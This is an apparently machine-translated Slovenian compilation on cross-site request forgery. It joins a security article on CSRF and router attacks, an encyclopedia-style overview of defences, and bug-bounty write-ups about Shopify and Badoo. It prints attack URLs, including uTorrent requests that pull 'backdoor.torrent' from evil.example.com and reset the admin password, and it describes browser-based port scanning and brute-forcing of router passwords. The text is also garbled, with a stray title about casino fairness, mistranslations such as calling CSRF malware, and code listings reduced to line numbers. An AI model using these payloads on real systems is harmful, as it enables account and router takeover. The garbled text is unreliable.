Kako se zaščititi pred napadi csrf. CSRF ranljivost. Uvod. Kako se določa pravičnost igralnic?

Ponarejanje zahtev med spletnimi mesti – veliko hrepenenja za nič

Aleksander Antipov

IN Zadnje čase V skupnosti za varnost spletnih aplikacij poteka široka razprava o "novi" vrsti ranljivosti, imenovani Cross-Site Request Forgery (CSRF ali XSRF). Članek, ki ga predstavljamo bralcu, vsebuje opis te vrste ranljivosti, metode njene uporabe in glavne pristope k zaščiti.


Sergej Gordejčik

Gordey @ ptsecurity com

V zadnjem času je bilo v skupnosti za varnost spletnih aplikacij veliko razprav o "novi" vrsti ranljivosti, imenovani Cross-Site Request Forgery (CSRF ali XSRF). Članek, ki ga predstavljamo bralcu, vsebuje opis te vrste ranljivosti, metode njene uporabe in glavne pristope k zaščiti. Splošno sprejet ruski izraz za Cross-Site Request Forgery še ni uveljavljen, zato avtor predlaga uporabo možnosti »HTTP Request Forgery«.

Lirična digresija

Najprej bi se rad osredotočil na glavne napačne predstave, povezane s CSRF:

1. Ponarejanje zahtev HTTP je nova vrsta ranljivosti.

To je daleč od resnice. Teoretične misli na temo ponarejanja vira sporočila segajo v leto 1988 (http://www.cis.upenn.edu/~KeyKOS/ConfusedDeputy.html), praktični primeri ranljivosti pa so v Bugtraqu obravnavani vsaj od leta 2000 (http ://www. zope.org/Members/jim/ZopeSecurity/ClientSideTrojan). Sam izraz je leta 2001 uvedel Peter Watkins (http://www.securiteam.com/securitynews/5FP0C204KE.html).

2. CSRF je različica Cross-Site Scripting (XSS).

Edina podobnost med CSRF in XSS je uporaba odjemalcev spletnih aplikacij kot vektorja napada (napad na strani odjemalca v terminologiji WASC http://www.webappsec.org/projects/threat/). Ranljivosti CSRF je mogoče izkoristiti v povezavi s XSS ali "preusmerjevalniki" (http://www..php), vendar predstavljajo ločen razred ranljivosti.

3. Ranljivost CSRF ni pogosta in jo je precej težko izkoristiti.

Podatki, ki jih je podjetje Positive Technologies pridobilo med penetracijskim testiranjem in oceno varnosti spletnih aplikacij, kažejo, da je večina spletnih aplikacij dovzetnih za to ranljivost. Za razliko od drugih ranljivosti se CSRF ne pojavi kot posledica programskih napak, ampak je normalno vedenje spletnega strežnika in brskalnika. Tisti. Večina spletnih mest, ki uporabljajo standardno arhitekturo, je privzeto ranljiva.

Primer uporabe

Oglejmo si uporabo CSRF na primeru. Recimo, da obstaja spletna aplikacija, ki pošilja sporočila E-naslov. Uporabnik določi elektronski naslov in besedilo sporočila, klikne gumb Pošlji in sporočilo z njegovega naslova se pošlje prejemniku.

riž. 1. Pošiljanje sporočila

Shema je poznana iz mnogih spletnih mest in ne vzbuja nobenih ugovorov. Vendar pa je omenjena aplikacija zelo verjetno ranljiva za napade ponarejanja zahtev HTTP. Za izkoriščanje ranljivosti lahko napadalec na svojem spletnem mestu ustvari stran s povezavo do »slike« in nato prisili uporabnika, da sledi povezavi do njegovega spletnega mesta (na primer http://bh.ptsecurity.ru/xcheck /csrf.htm).

Uporabnikov brskalnik ob dostopu do strani poskuša naložiti sliko, za kar vzpostavi stik z ranljivo aplikacijo, tj. pošlje e-poštno sporočilo prejemniku, ki je naveden v polju »za« zahteve.

riž. 2. Napad CSRF

Upoštevajte, da bo brskalnik uporabnika spletnemu mestu poslal vrednost piškotka, tj. zahteva bo zaznana kot da prihaja od overjenega uporabnika. Da bi prisilil uporabnika, da naloži stran, ki pošlje zahtevo ranljivemu strežniku, lahko napadalec uporabi metode socialni inženiring, pa tudi tehnične ranljivosti, kot je XSS in napake pri izvajanju funkcije preusmeritve.

riž. 3. Logika delovanja CSRF

Tako napad CSRF vključuje uporabo brskalnika uporabnika za pošiljanje zahtev HTTP na poljubna spletna mesta, ranljivost pa je nezmožnost preverjanja vira zahteve HTTP. Primer aplikacije uporablja metodo HTTP GET za posredovanje parametrov, kar olajša življenje napadalcu. Vendar ne domnevajte, da uporaba metode POST samodejno odpravi možnost napadov s ponarejanjem zahtev HTTP. Stran na napadalčevem strežniku lahko vsebuje že pripravljen obrazec HTML, ki se samodejno odda ob ogledu strani.

Za izkoriščanje CSRF napadalcu ni treba imeti lastnega spletnega strežnika. Stran, ki sproži zahtevo, se lahko pošlje po e-pošti ali na drug način.

Pregled Billyja Hoffmana zajema različne metode mreženja z uporabo Javascripta. Vse, vključno z XmlHttxmpquest (v nekaterih primerih), je mogoče uporabiti za izvajanje napadov CSRF.

Upam, da bralec zdaj že razume glavno razliko med CSRF in XSS. V primeru XSS napadalec pridobi dostop do DOM (Document Object Model) ranljive strani, tako za branje kot pisanje. Pri izvajanju CSRF ima napadalec možnost poslati zahtevo strežniku z uporabo uporabnikovega brskalnika, vendar ne bo več mogel prejeti in analizirati odgovora strežnika, še manj pa njegove glave (na primer piškotka). V skladu s tem vam »HTTP Request Forgery« omogoča delo z aplikacijo v načinu »samo za pisanje«, kar pa je povsem dovolj za izvajanje resničnih napadov.

Glavne tarče napadov CSRF so različne interaktivne spletne aplikacije, kot so e-poštni sistemi, forumi, CMS, vmesniki daljinec omrežno opremo. Napadalec lahko na primer pošilja sporočila v imenu drugih uporabnikov, dodaja nove račune ali spreminja nastavitve usmerjevalnika prek spletnega vmesnika.

riž. 4. Primer uporabe CSRF na forumu

Oglejmo si podrobneje zadnjega – spreminjanje nastavitev omrežne naprave. Avtor že omenja brezžične sisteme za odkrivanje napadov, vendar zadeva seveda ni omejena nanje.

Prebijemo obod

Decembra lani je Symantec objavil poročilo o "novem" napadu, imenovanem "Drive-By Pharming", ki je v bistvu različica izkoriščanja CSRF. Napadalec v uporabnikovem brskalniku izvede nekakšen "čarobni" JavaScript, ki spremeni nastavitve usmerjevalnika, na primer nastavi novo vrednost strežnika DNS. Če želite izvesti ta napad, morate rešiti naslednje težave:

Skeniranje vrat z uporabo JavaScripta;

Določanje vrste spletne aplikacije (prstni odtis);

Ugibanje gesla in avtentikacija s pomočjo CSRF;

Spreminjanje nastavitev gostitelja z napadom CSRF.

Tehnika skeniranja za ugotavljanje razpoložljivosti spletnega strežnika in vrste njegove programske opreme z uporabo JavaScripta je bila precej dobro izdelana in se spušča na dinamično ustvarjanje Objekti HTML (npr. img src=), ki kažejo na različne notranje URL-je (npr. http://192.168.0.1/pageerror.gif). Če je bila »slika« uspešno naložena, se na testiranem naslovu nahaja spletni strežnik Microsoft IIS. Če je odgovor prejel napako 404, so vrata odprta in na njih deluje spletni strežnik. Če je bila časovna omejitev presežena, strežnik ni v omrežju ali pa so vrata blokirana na požarnem zidu. No, v drugih situacijah - vrata so zaprta, vendar je gostitelj dostopen (strežnik je vrnil paket RST in brskalnik je vrnil napako pred potekom časovne omejitve). V nekaterih primerih je takšno skeniranje vrat iz uporabnikovega brskalnika mogoče izvesti brez uporabe JavaScripta (http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html).

Po določitvi vrste naprave lahko napadalec poskuša prisiliti uporabnikov brskalnik, da takoj pošlje zahtevo za spremembo nastavitev. Toda takšna zahteva bo uspešna le, če ima uporabnikov brskalnik že aktivno overjeno sejo naprave. Imeti pri roki odprta stran upravljanje usmerjevalnika je slaba navada mnogih "naprednih" uporabnikov.

Če ni aktivne seje z vmesnikom za upravljanje, se mora napadalec avtentikirati. Če naprava izvaja avtentikacijo na podlagi obrazcev, ne pride do težav. Z uporabo CSRF v POST se strežniku pošlje avtorizacijska zahteva, nato pa se z njega naloži slika (ali stran), ki je dostopna samo overjenim uporabnikom. Če je bila slika prejeta, je bila avtentikacija uspešna in lahko nadaljujete nadaljnje ukrepe, sicer poskusite z drugim geslom.

Če napadena naprava izvaja osnovno avtentikacijo, postane naloga bolj zapletena. Internetni brskalnik Raziskovalec ne podpira možnosti podajanja uporabniškega imena in gesla v URL-ju (na primer http://user: [e-pošta zaščitena]). V zvezi s tem je za izvedbo osnovne avtentikacije mogoče uporabiti metodo dodajanja glav HTTP z uporabo Flasha, opisano v članku. Ta način pa deluje le pri starejših različicah Flasha, ki jih je vse manj.

Toda drugi brskalniki, kot je Firefox, nudijo možnost podajanja uporabniškega imena in gesla v URL-ju in se lahko uporabljajo za preverjanje pristnosti na katerem koli strežniku, kar je mogoče storiti brez generiranja sporočila o napaki, če je geslo napačno.

Primer skripta za tiho preverjanje pristnosti z uporabo osnovne metode iz spletnega dnevnika Stefana Esserja je podan spodaj.

Firefox HTTP Auth Bruteforcing

riž. 5. Osnovna avtentikacija v Firefoxu

V korporativnem okolju, kjer se pogosto uporabljajo mehanizmi SSO, na primer na podlagi domene Aktivni imenik ter protokola Kerberos in NTLM, izkoriščanje CSRF ne zahteva nobenega dodatnega truda. Brskalnik bo samodejno preveril pristnost glede na varnostni kontekst trenutnega uporabnika.

Ko je avtentikacija opravljena, napadalec uporabi JavaScript za pošiljanje zahteve, ki spremeni poljubne nastavitve usmerjevalnika, kot je naslov strežnika DNS.

Metode zaščite

Prva stvar, ki pride na misel, ko gre za zaščito CSRF, je preverjanje vrednosti glave Referer. Ker ponarejanje zahtev HTTP dejansko vključuje prenos zahteve s tretjega mesta, lahko težavo reši nadzor nad izvirno stranjo, katere naslov samodejno doda v glavo zahtev.

Vendar ima ta mehanizem številne pomanjkljivosti. Prvič, razvijalec se sooča z vprašanjem obdelave zahtev, ki nimajo glave Referer kot take. Veliko osebnih požarni zidovi in anonimiziranje proxy strežnikov izloči Referer kot potencialno nevarno glavo. V skladu s tem, če strežnik ignorira podobne zahteve, skupina najbolj “paranoičnih” državljanov z njim ne bo mogla sodelovati.

Drugič, v nekaterih primerih je mogoče glavo Referer ponarediti, na primer z že omenjenim trikom Flash. Če uporabnik uporablja IE 6.0, se lahko vsebina glave zahteve spremeni, da se izkoristi napaka v izvedbi XmlHttxmpquest. Ranljivost je v možnosti uporabe znakov za novo vrstico v imenu metode HTTP, kar omogoča spreminjanje glav in celo vstavljanje dodatne zahteve. To ranljivost je leta 2005 odkril Amit Klein() in jo ponovno odkril leta 2007. Omejitev te metode je, da deluje le, če je med uporabnikom in strežnikom HTTP proxy ali če sta strežnika na istem naslovu IP vendar z različnimi domenskimi imeni.

Druga pogosta metoda je dodajanje edinstvenega parametra vsaki zahtevi, ki jo nato potrdi strežnik. Parameter je mogoče dodati URL-ju, ko uporabljate zahtevo GET, na primer v ali kot skrit parameter obrazca, ko uporabljate POST. Vrednost parametra je lahko poljubna, glavna stvar je, da je napadalec ne more predvideti, na primer vrednost uporabnikove seje.

riž. 6. Zaščita CSRF v Bitrixu

Če želite svoji aplikaciji hitro dodati funkcijo preverjanja CSRF, lahko uporabite naslednji pristop:

1. Vsaki ustvarjeni strani dodajte majhen JavaScript in vsem obrazcem dodajte dodaten skriti parameter, ki mu je dodeljena vrednost piškotka.

2. Na strežniku preverite, ali podatki, ki jih odjemalec pošlje z metodo POST, vsebujejo vrednost, ki je enaka trenutni vrednosti piškotka.

Spodaj je podan primer takega odjemalskega skripta:

Nadaljnji razvoj tega pristopa je shranjevanje identifikatorja seje ne v piškotek, temveč kot skriti parameter obrazca (na primer VIEWSTATE).

Kot način boja proti CSRF se lahko uporabljajo različne različice Turingovih testov, na primer dobro znane slike - CAPTCHA. Druga priljubljena možnost je zahtevanje uporabniškega gesla pri spreminjanju kritičnih nastavitev.

riž. 7. Zaščita CSRF v mail.ru

Tako je Cross-Site Request Forgery napad, namenjen odjemalcu spletne aplikacije in uporablja nezadostno preverjanje vira zahteve HTTP. Za zaščito pred takšnimi napadi je mogoče uporabiti dodaten nadzor vira zahteve na podlagi glave Referer ali dodatnega "naključnega" parametra.

Sergey Gordeychik dela kot sistemski arhitekt pri Positive Technologies, kjer je specializiran za varnost aplikacij, varnost brezžičnih in mobilnih tehnologij. Avtor je tudi vodilni razvijalec Varnosti brezžična omrežja«, »Analiza in ocena varnosti spletnih aplikacij« izobraževalnega centra Informzashita. Objavil več deset člankov v “Windows IT Pro/RE”, SecurityLab in drugih publikacijah. Je član konzorcija za varnost spletnih aplikacij (WASC).

Ponarejanje zahtev med spletnimi mesti, znano tudi kot napad z enim klikom ali sejni pogon in skrajšano kot CSRF (včasih izraženo plimska vrtina poslušaj)) ali XSRF, je vrsta zlonamerne programske opreme, ki se izkorišča s spletnega mesta, kjer so nepooblaščeni ukazi poslani od uporabnika, ki mu spletna aplikacija zaupa. Obstaja veliko načinov, na katere lahko zlonamerno spletno mesto prenaša takšne ukaze; posebej izdelane slikovne oznake, skriti obrazci in JavaScript XMLHttpRequests lahko na primer delujejo brez interakcije ali celo znanja uporabnika. Za razliko od skriptnega izvajanja med spletnimi mesti (XSS), ki izkorišča zaupanje, ki ga ima uporabnik za določeno spletno mesto, CSRF izkorišča zaupanje, ki ga ima spletno mesto v uporabnikovem brskalniku.

zgodba

Ranljivosti CSRF so znane in v nekaterih primerih izkoriščene od leta 2001. Ker se izvaja z uporabnikovega naslova IP, nekateri dnevniki spletnih mest morda ne vsebujejo dokazov o CSRF. Podvigi so podcenjeni, z vsaj javno, od leta 2007 pa je bilo več dobro dokumentiranih primerov:

  • Spletno mesto Netflix leta 2006 je imelo številne ranljivosti CSRF, ki bi lahko napadalcu omogočile izvajanje dejanj, kot je dodajanje DVD-ja v žrtvino čakalno vrsto za izposojo, spreminjanje naslova za dostavo na računu ali spreminjanje poverilnic za prijavo žrtve, da popolnoma ogrozijo račun.
  • Spletna aplikacija za spletno bančništvo ING Direct je bila ranljiva za napade CSRF, kar je omogočalo nezakonita nakazila denarja.
  • Priljubljeno spletno mesto z videoposnetki YouTube je bilo leta 2008 prav tako ranljivo za CSRF, kar je vsakemu napadalcu omogočilo, da izvede skoraj vse, kar lahko stori vsak uporabnik.
  • McAfee je tudi ranljiv za CSRF, ki je napadalcem omogočil spreminjanje sistema njihovega podjetja.

V letu 2018 so bili izvedeni novi napadi na spletne naprave, vključno s poskusi sprememb DNS nastavitve usmerjevalniki. Nekateri proizvajalci usmerjevalnikov so pohiteli z izdajo posodobitev vdelane programske opreme za izboljšanje varnosti in uporabnikom svetovali, naj spremenijo nastavitve usmerjevalnika, da zmanjšajo tveganje. Podrobnosti niso bile objavljene, navajajo pa se "očitni varnostni razlogi".

Primer in značilnosti

Napadalci, ki lahko najdejo ponovljivo povezavo, ki izvaja določeno dejanje na ciljni strani, medtem ko se žrtev registrira, lahko vdelajo takšno povezavo na stran, ki jo nadzorujejo, in žrtev preslepijo, da jo odpre. Medijska povezava za napad je lahko postavljena na lokacijo, ki jo bo žrtev najverjetneje obiskala s prijavo na ciljno spletno mesto (kot je razprava na forumu), ali poslana v telesu e-poštnega sporočila HTML ali priloge. Dejanska ranljivost CSRF v UTorrentu (CVE-2008-6586) je izkoristila dejstvo, da je njegova spletna konzola dostopna na localhost:8080, kar omogoča izvajanje kritičnih dejanj s preprosto zahtevo GET:

Prisilni prenos datoteke .torrent http://localhost:8080/gui/action=add URL&s=http://evil.example.com/backdoor.torrent Spreminjanje skrbniškega gesla Utorrent http://localhost:8080/gui/action = setsetting & s = webui.geslo & v = eviladmin

Napadi so se začeli z umestitvijo zlonamernih, avtomatiziranih slikovnih elementov HTML na forume in neželeno pošto, tako da bi jih brskalniki, ki obiščejo te strani, samodejno odprli, brez posebnega ukrepanja s strani uporabnika. Ljudje, ki uporabljajo ranljivo različico Utorrenta hkrati z odpiranjem teh strani, so bili dovzetni za napad.

Napadi CSRF z uporabo slikovnih oznak so pogosto narejeni iz internetnih forumov, kjer lahko uporabniki objavljajo slike, ne pa JavaScripta, na primer z uporabo BBCode:

Http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

Pri dostopu do napadalne povezave na lokalni aplikaciji Utorrent na localhost:8080 bo brskalnik vedno samodejno poslal vse obstoječe piškotke za to domeno. Ta skupna lastnost spletnih brskalnikov omogoča napadom CSRF, da izkoristijo svoje ciljne ranljivosti in izvajajo sovražna dejanja, dokler je uporabnik prijavljen na ciljno spletno mesto (v tem primeru lokalni splet- vmesnik Utorrent) v času napada.

Ponarejanje zahtev med spletnimi mesti je zmeden napad proxyja na spletni brskalnik.

CSRF ima običajno naslednje značilnosti:

  • Vključuje spletna mesta, ki se zanašajo na identiteto uporabnika.
  • Izkorišča zaupanje spletnega mesta v to identiteto.
  • Uporabnikov brskalnik zavede, da pošlje zahteve HTTP ciljnemu spletnemu mestu.
  • Vključuje zahteve HTTP, ki imajo stranske učinke.
HTTP glagoli in CSRF
  • V HTTP GET je izkoriščanje CSRF trivialno, z uporabo zgoraj opisanih metod, kot je preprosta hiperpovezava, ki vsebuje manipulirane parametre in se samodejno naloži z uporabo oznake IMG. Glede na specifikacijo HTTP pa naj bi GET uporabljali kot varno metodo, torej brez bistvenega spreminjanja stanja uporabnika v aplikaciji. Aplikacije, ki za takšne operacije uporabljajo GET, morajo preklopiti na HTTP POST ali uporabiti zaščito CSRF.
  • HTTP POST ima različne ranljivosti CSRF, odvisno od podrobnih primerov uporabe:
    • V svoji najpreprostejši obliki je POST s podatki, kodiranimi kot poizvedbeni niz (field1=value1&field2=value2), napad CSRF enostavno izvesti s preprostim obrazcem HTML in uporabiti je treba ukrepe proti CSRF.
    • Če se podatki prenašajo v kateri koli drugi obliki (JSON, XML), je standardna metoda POST zahteva uporaba XMLHttpRequest s CSRF napade preprečujeta SOP in ; obstaja metoda za oddajo poljubne vsebine iz preprostega obrazca HTML z uporabo atributa ENCTYPE; tako lažno zahtevo je mogoče ločiti od legitimne po tipu besedila/navadne vsebine, če pa se ta ne izvede na strežniku, se lahko izvede CSRF
  • druge metode HTTP (PUT, DELETE itd.) je mogoče izdati samo z uporabo XMLHttpRequest s preprečevanjem SOP in CSRF; Vendar ti ukrepi ne bodo aktivni na spletnih mestih, ki jih izrecno onemogočijo z glavo Access-Control-Allow-Origin: *
Drugi pristopi k CSRF

Poleg tega, čeprav je tipično opisan kot statična vrsta napada, je CSRF mogoče tudi dinamično sestaviti kot del obremenitve za scenarije napadov med spletnimi mesti, kot je pokazal črv Samy, ali pa ga lahko sestavi sproti iz informacij o seji, ki uhajajo prek vsebine zunaj spletnega mesta in poslan na cilj kot zlonamerni URL. Žetone CSRF lahko pošlje tudi zlonamerni odjemalec zaradi fiksiranja seje ali drugih ranljivosti ali pa jih ugane z napadom s surovo silo, prevedenim v zlonamerno stran, ki ustvari na tisoče neuspešnih zahtev. Razred napadov "Dynamic CSRF" ali uporaba obremenitve na odjemalca za ponarejanje, specifično za sejo, sta leta 2009 opisala Nathan Hamiel in Sean Moyer na briefingih BlackHat, čeprav taksonomija še ni dobila širše uporabe.

Nov vektor za sestavljanje dinamičnih napadov CSRF je predstavil Oren Ofer na srečanju lokalnega poglavja OWASP januarja 2012 - "AJAX Hammer - Dynamic CSRF".

Posledice

Indikatorji resnosti so bili izdani za ranljivosti CSRF, ki vodijo do oddaljenega izvajanja kode s korenskimi pravicami, kot tudi ranljivost, ki lahko ogrozi korensko potrdilo, kar bi popolnoma spodkopalo infrastrukturo javnih ključev.

Omejitve

Da bo zahteva za ponarejanje med spletnimi mesti uspešna, se mora zgoditi več stvari:

  • Napadalec mora ciljati bodisi na spletno mesto, ki ne preverja glave napotitelja, bodisi na žrtev, ki uporablja brskalnik ali vtičnik, ki omogoča ponarejanje napotitelja.
  • Napadalec mora na ciljnem spletnem mestu ali URL-ju najti obrazec za oddajo, ki ima stranske učinke dejanja (kot je prenos denarja ali sprememba e-poštnega naslova ali gesla žrtve).
  • Napadalec mora določiti pravilne vrednosti za vse obrazce ali vnose URL-jev; če bi kateri od njih imel skrivne avtentikacijske vrednosti ali identifikatorje, ki jih napadalec ne bi mogel uganiti, bi napad verjetno spodletel (razen če bi imel napadalec veliko srečo pri ugibanju).
  • Napadalec mora žrtev zvabiti na spletno stran, ki vsebuje zlonamerno kodo, medtem ko se žrtev prijavlja na ciljno mesto.
  • Napad je slep: napadalec ne more videti, kaj ciljno mesto pošlje nazaj žrtvi kot odgovor na ponarejene zahteve, razen če izkorišča skriptiranje med spletnimi mesti ali drugo napako na ciljnem mestu. Poleg tega lahko napadalec cilja samo na katero koli povezavo ali predloži kateri koli obrazec, ki pride po začetni ponarejeni zahtevi, če so te naslednje povezave ali obrazci podobno predvidljivi. (Več ciljev je mogoče simulirati z vključitvijo več slik na stran ali z uporabo JavaScripta za uvedbo zamika med kliki.)

    Glede na te omejitve ima lahko napadalec težave pri iskanju anonimne identitete žrtev ali ranljive oblike predstavljanja. Po drugi strani pa so poskusi napadov zlahka nameščeni in jih žrtve ne odkrijejo, razvijalci aplikacij pa so manj seznanjeni in pripravljeni na napade CS kot na, na primer, napade z vdiranjem gesel v slovar.

    preprečevanje

    Večina metod za preprečevanje CSRF deluje tako, da v zahteve vgradi dodatne podatke za preverjanje pristnosti, kar spletni aplikaciji omogoča zaznavanje zahtev z nepooblaščenih lokacij.

    Model markerja sinhronizatorja
    • Ob prijavi spletna aplikacija nastavi piškotek, ki vsebuje naključni žeton, ki ostane nespremenjen skozi uporabnikovo sejo
    Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=čet, 23. julij 2015 10:25:33 GMT; Največja starost=31449600; Pot=/
    • JavaScript, ki se izvaja na strani odjemalca, prebere vrednost in jo kopira v glavo HTTP po meri, poslano z vsako transakcijsko zahtevo
    Žeton X-Csrf: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
    • Strežnik preveri prisotnost in celovitost žetonov

    Varnost te metode temelji na predpostavki, da bo samo JavaScript, ki se izvaja znotraj istega izvora, lahko prebral vrednost piškotka. JavaScript, ki se izvaja z lažno datoteko ali e-poštnim naslovom, ne bo mogel brati in kopirati v glavo po meri. Čeprav bo piškotek žetona CSRF samodejno poslan z lažno zahtevo, bo strežnik vseeno pričakoval veljavno glavo žetona X-CSRF.

    Sam žeton CSRF mora biti edinstven in nepredvidljiv. To se lahko ustvari naključno ali pa se pridobi iz žetonov seje z uporabo HMAC:

    Csrf_token = HMAC(session_token, application_secret)

    Žeton piškotka CS ne sme imeti zastavice HTTPOnly, ker je namenjen branju z zasnovo JavaScript.

    To metodo izvajajo številni sodobni okviri, kot sta Django in AngularJS. Ker žeton ostane obstojen med uporabnikovo sejo, dobro deluje z aplikacijami AJAX, vendar ne zagotavlja zaporedja dogodkov v spletnih aplikacijah.

    Zaščita, ki jo zagotavlja ta metoda, je lahko onemogočena, če ciljno spletno mesto onemogoči svojo politiko istega izvora na enega od naslednjih načinov:

    • Glava Permissive Access-Control-Allow-Origin (z zvezdico argumenta)
    • clientaccesspolicy.xml, ki omogoča nenameren dostop do kontrolnikov Silverlight
    • crossdomain.xml, ki omogoča nenameren dostop do filmov Flash
    Double Send Cookie

    Podobno kot pri pristopu piškotka do glave, vendar brez vključenega JavaScripta, lahko spletno mesto nastavi žeton CSRF kot piškotek in ga tudi vstavi v skrito polje v vsakem obrazec HTML, poslana stranka. Ko je obrazec oddan, lahko spletno mesto preveri, ali se označevalec piškotkov ujema z obliko označevalcev. Politika skupnega izvora preprečuje napadalcu, da bi prebral ali nastavil piškotke na ciljni domeni, tako da ne more postaviti veljavnega žetona v svoji izdelani obliki.

    Prednost te metode pred vzorcem sinhronizatorja je, da žetona ni treba shraniti na strežnik.

    Garancije strank

    Razširitve brskalnika, kot je RequestPolicy (za Mozilla Firefox) ali Umatrix (oba za Firefox in Google Chrome/Chromium), lahko preprečijo CSRF tako, da zagotovijo privzeto politiko zavrnitve za zahteve med spletnimi mesti. Vendar pa lahko to bistveno moti normalno delovanje številnih spletnih mest. Razširitev CsFire (tudi za Firefox) lahko ublaži vpliv CSRF z manjšim vplivom na običajno brskanje, tako da odstrani podatke za preverjanje pristnosti iz zahtev med spletnimi mesti.

    Cross Site Request Forgery ali CSRF je napad, do katerega pride, ko zlonamerno spletno mesto, e-pošta, sporočilo, aplikacija ali kar koli drugega povzroči, da uporabnikov brskalnik izvede neko dejanje na drugem spletnem mestu, kjer je ta uporabnik že preverjen. Pogosto se to zgodi brez vednosti uporabnika.

    Škoda, ki jo povzroči napad CSRF, je odvisna od mesta, ki prejme dejanje. Tukaj je primer:

  • Bob vstopi v svoj osebni račun v odjemalcu spletne banke, opravi nekaj operacij, vendar se ne odjavi.
  • Bob preveri svojo e-pošto in klikne povezavo, ki ga popelje na neznano spletno mesto.
  • Neznano spletno mesto pošlje zahtevo Bobovi spletni bančni stranki za nakazilo denarja in posreduje informacije Bobovemu piškotku, ki je bil shranjen iz njegove prejšnje seje.
  • Spletno mesto Bob's Bank sprejme zahtevo neznanega (zlonamernega) mesta brez uporabe žetona CSRF in izvede prevod.
  • Še bolj zanimiva situacija je, ko je povezava do zlonamernega
    spletno mesto je lahko vsebovano v veljavnem HTML-ju, zahvaljujoč kateremu Bo-
    Sploh vam ni treba klikniti na povezavo: . Če Bobova naprava (na primer brskalnik) upodablja
    Ta slika bo poslala zahtevo na malicious_site.com in potencialno povzročila napad CSRF.

    Zdaj, ko se zavedate nevarnosti napadov CSRF, se lahko pred njimi zaščitite na več načinov, med katerimi je morda najbolj priljubljen uporaba žetona CSRF, ki ga je treba poslati z vsako zahtevo, ki bi lahko spremenila podatke ( kot so zahteve POST). Spletna aplikacija (kot je Bobovo spletno bančništvo) bo morala ustvariti žeton, sestavljen iz dveh delov, od katerih bo enega prejel Bob, drugi pa bo shranjen v aplikaciji.

    Ko bo Bob poskušal narediti zahtevo za prenos denarja, bo moral poslati žeton, katerega veljavnost bo banka preverila z uporabo žetona, shranjenega v aplikaciji.

    Zdaj, ko vemo o CSRF in žetonih CSRF, je skupna raba virov navzkrižnega izvora (CORS) bolj smiselna, čeprav sem to morda opazil šele, ko sem raziskoval nove cilje. Na splošno CORS omejuje seznam virov, ki lahko dostopajo do podatkov. Z drugimi besedami, ko se CORS uporablja za zaščito spletnega mesta, lahko napišete Javascript za klic ciljne aplikacije, preberete odgovor in opravite nov klic, če vam ciljno mesto to omogoča.

    Če se to zdi zmedeno, poskusite uporabiti Javascript za klic na HackerOne.com/activity.json, preberite odgovor in opravite drugi klic. Videli boste tudi pomembnost tega in možne rešitve v primeru št. 3 spodaj.

    Nazadnje je pomembno omeniti (hvala Jobertu Abmi, da je opozoril na to), da ni vsaka zahteva brez žetona CSRF neveljavna. Nekatera spletna mesta lahko izvajajo dodatna preverjanja, kot je primerjava izvorne glave (čeprav to ni zajamčeno varno in so znani primeri izogibanja). To je polje, ki identificira naslov strani, ki se povezuje na zahtevani vir. Z drugimi besedami, če izvorna stranka (napotitelj)

    izvede klic POST z mesta, ki ni isto mesto, ki je prejelo zahtevo HTTP, mesto morda ne bo dovolilo, da klic doseže enak učinek kot uporaba žetona CSRF. Poleg tega vsako spletno mesto ne uporablja izrazov csrf pri ustvarjanju ali definiranju žetona. Na primer, na Badooju je to parameter rt, kot je opisano spodaj.

    Preberite vadnico Preizkušanje OWASP za CSRF

    Primeri 1. Izvoz nameščenih uporabnikov Shopify

    Težavnost: nizka
    Url: https://app.shopify.com/services/partners/api_clients/XXXX/export_installed_users


    Opis:

    Shopify API ponuja končno točko za izvoz seznama nameščenih uporabnikov prek zgoraj prikazanega URL-ja. Ranljivost je bila v tem, da lahko spletno mesto pošlje zahtevo tej končni točki in v odgovor prejme informacije, saj

    Shopify za potrditev te zahteve ni uporabil žetona CSRF. Posledično bi lahko naslednjo kodo HTML uporabili za oddajo obrazca v imenu nič hudega sluteče žrtve.

    1 2 csrf 3 4 7 8 9

    V tem primeru s preprostim obiskom Javascript strani odda obrazec, ki vključuje zahtevo GET za Shopify API z uporabo piškotkov Shopify, nastavljenih v brskalniku žrtve.

    zaključki

    Povečajte obseg svojih napadov in poiščite napake ne samo na spletnem mestu, ampak tudi v API-ju. Končne točke API-ja so tudi potencialna pot za izkoriščanje, zato je vredno imeti to v mislih, zlasti če veste, da je bil API morda razvit ali na voljo po tem, ko je bil ustvarjen spletni vmesnik.

    2. Prekinite povezavo Shopify s Twitterjem

    Težavnost: nizka
    Url: https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect

    Shopify omogoča integracijo Twitterja, ki lastnikom trgovin omogoča tvitanje o njihovih izdelkih. Podobno vam storitev omogoča, da prekinete povezavo med računom Twitter in povezano trgovino.

    URL za onemogočanje vašega računa Twitter iz trgovine je naveden zgoraj. Pri vložitvi zahteve Shopify ni preveril žetona CSRF, kar je napadalcu omogočilo ustvariti lažno povezavo, ki bi ob kliku povzročila, da nič hudega sluteči lastnik trgovine prekine povezavo svoje trgovine s Twitterjem.

    V opisu ranljivosti je WeSecureApp zagotovil naslednji primer ranljive zahteve; upoštevajte, da uporaba oznake img izvede klic na ranljivi URL:

    1 GET /auth/twitter/disconnect HTTP/1.1 2 Gostitelj: twitter-commerce.shopifyapps.com 3 Uporabniški agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.1 4 1; rv:43.0) Gecko/20100101 Firefox/43.0 5 Accept: text/html, application/xhtml+xml, application/x 6 ml 7 Accept-Language: en-US,en;q=0.5 8 Accept-Encoding: gzip, deflate 9 Referer: https://twitter-commerce .shopifyapps.com/accou 10 nt 11 Piškotek: _twitter-commerce_session=REDIGOVANO 12 >Povezava: ohranjaj

    Ker brskalnik izvede zahtevo GET za pridobitev slike iz posredovanega URL-ja in žeton CSRF ni potrjen, je trgovina po meri zdaj onemogočena:

    1 2 3 5 6

    zaključki

    V tej situaciji bi bilo opisano ranljivost mogoče najti s pomočjo strežnika proxy, kot je Burp ali Firefox Tamper Data, tako da bi samo pogledali zahtevo, poslano Shopifyju, in videli, da je bila zahteva podana z zahtevo GET. Ker je bilo to moteče in zahteve GET ne bi smele spremeniti podatkov v strežnik, je vredno raziskati.

    3. Dokončajte prevzem računa na Badoo

    Zahtevnost: Srednja
    URL: https://badoo.com
    Povezava do poročila: https://hackerone.com/reports/12770312
    Datum poročila: 1. april 2016
    Izplačana nagrada: 852 $

    Opis:

